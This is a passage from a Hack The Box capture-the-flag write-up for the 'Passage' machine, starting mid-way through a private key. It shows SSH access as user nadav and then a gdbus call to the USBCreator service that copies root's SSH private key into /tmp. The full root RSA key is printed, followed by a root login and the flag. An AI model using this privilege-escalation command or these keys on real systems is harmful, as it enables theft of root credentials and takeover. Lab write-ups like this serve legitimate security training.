    eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
    QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
    lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh
    zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz
    R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k
    7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
    GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
    IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
    LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR
    AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0
    VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
    1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0
    KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
    9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
    d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs
    nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY
    f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM
    Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
    OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → chmod 600 pkey
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → ssh -i pkey nadav@10.10.10.206
    Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
    nadav@passage:~$
    

Now let's try the gdbus privesc path: 
    
    
    nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true
    ()
    nadav@passage:~$ cat /tmp/rootkey
    -----BEGIN RSA PRIVATE KEY-----
    MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ
    B7G3ej77MN35+ULlwMcpoumayWK4yZ/AiJBm6FEVBGSwjSMpOGcNXTL1TClGWbdE
    +WNBT+30n0XJzi/JPhpoWhXM4OqYLCysX+/b0psF0jYLWy0MjqCjCl/muQtD6f2e
    jc2JY1KMMIppoq5DwB/jJxq1+eooLMWVAo9MDNDmxDiw+uWRUe8nj9qFK2LRKfG6
    U6wnyQ10ANXIdRIY0bzzhQYTMyH7o5/sjddrRGMDZFmOq6wHYN5sUU+sZDYD18Yg
    ezdTw/BBiDMEPzZuCUlW57U+eX3uY+/Iffl+AwIDAQABAoIBACFJkF4vIMsk3AcP
    0zTqHJ1nLyHSQjs0ujXUdXrzBmWb9u0d4djZMAtFNc7B1C4ufyZUgRTJFETZKaOY
    8q1Dj7vJDklmSisSETfBBl1RsiqApN5DNHVNIiQE/6CZNgDdFTCnzQkiUPePic8R
    P1St2AVP1qmMvVimDFSJoiOEUfzidepXEEUQrByNmOJDtewMSm4aGz60ced2XCBr
    GTt/wyo0y5ygRJkUcC+/o4/r2DQdrjCbeuyzAzzhFKQQx6HN5svzpi0jOWC0cB0W
    GmAp5Q7fIFhuGyrxShs/BEuQP7q7Uti68iwEh2EZSlaMcBFEJvirWtIO7U3yIHYI
    HnNlLvECgYEA7tpebu84sTuCarHwASAhstiCR5LMquX/tZtHi52qKKmYzG6wCCMg
    S/go8DO8AX5mldkegD7KBmTeMNPKp8zuE8s+vpErCBH+4hOq6U1TwZvDQ2XY9HBz
    aHz7vG5L8E7tYpJ64Tt8e0DcnQQtW8EqFIydipO0eLdxkIGykjWuYGsCgYEAwzBM
    UZMmOcWvUULWf65VSoXE270AWP9Z/XuamG/hNpREDZEYvHmhucZBf1MSGGU/B7MC
    YXbIs1sS6ehDcib8aCVdOqRIqhCqCd1xVnbE0T4F2s1yZkct09Bki6EuXPDo2vhy
    /6v6oP+yT5z854Vfq0FWxmDUssMbjXkVLKIZ3skCgYAYvxsllzdidW3vq/vXwgJ7
    yx7EV5tI4Yd6w1nIR0+H4vpnw9gNH8aK2G01ZcbGyNfMErCsTNUVkIHMwUSv2fWY
    q2gWymeQ8Hxd4/fDMDXLS14Rr42o1bW/T6OtRCgt/59spQyCJW2iP3gb9IDWjs7T
    TjZMUz1RfIARnr5nk5Q7fQKBgGESVxJGvT8EGoGuXODZAZ/zUQj7QP4B2G5hF2xy
    T64GJKYeoA+z6gNrHs3EsX4idCtPEoMIQR45z/k2Qry1uNfOpUPxyhWR/g6z65bV
    sGJjlyPPAvLsuVTbEfYDLfyY7yVfZEnU7Os+3x4K9BfsU7zm3NIB/CX/NGeybR5q
    a7VJAoGANui4oMa/9x8FSoe6EPsqbUcbJCmSGPqS8i/WZpaSzn6nW+636uCgB+EP
    WOtSvOSRRbx69j+w0s097249fX6eYyIJy+L1LevF092ExQdoc19JTTKJZiWwlk3j
    MkLnfTuKj2nvqQQ2fq+tIYEhY6dcSRLDQkYMCg817zynfP0I69c=
    -----END RSA PRIVATE KEY-----
    

And we managed to get the root user's private ssh key! Now let's login as root via ssh to get the root flag: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
    → chmod 600 rootkey
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
    → ssh -i rootkey root@10.10.10.206
    Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
    root@passage:~# cat root.txt
    4bf9ee15ce09ee77580ac8d850f19cbb
    root@passage:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@passage:~# cat root.txt
    4bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And we managed to get the root flag. 

## **Conclusion**

Here we can see the progress graph :

![](img/61_graph.png)

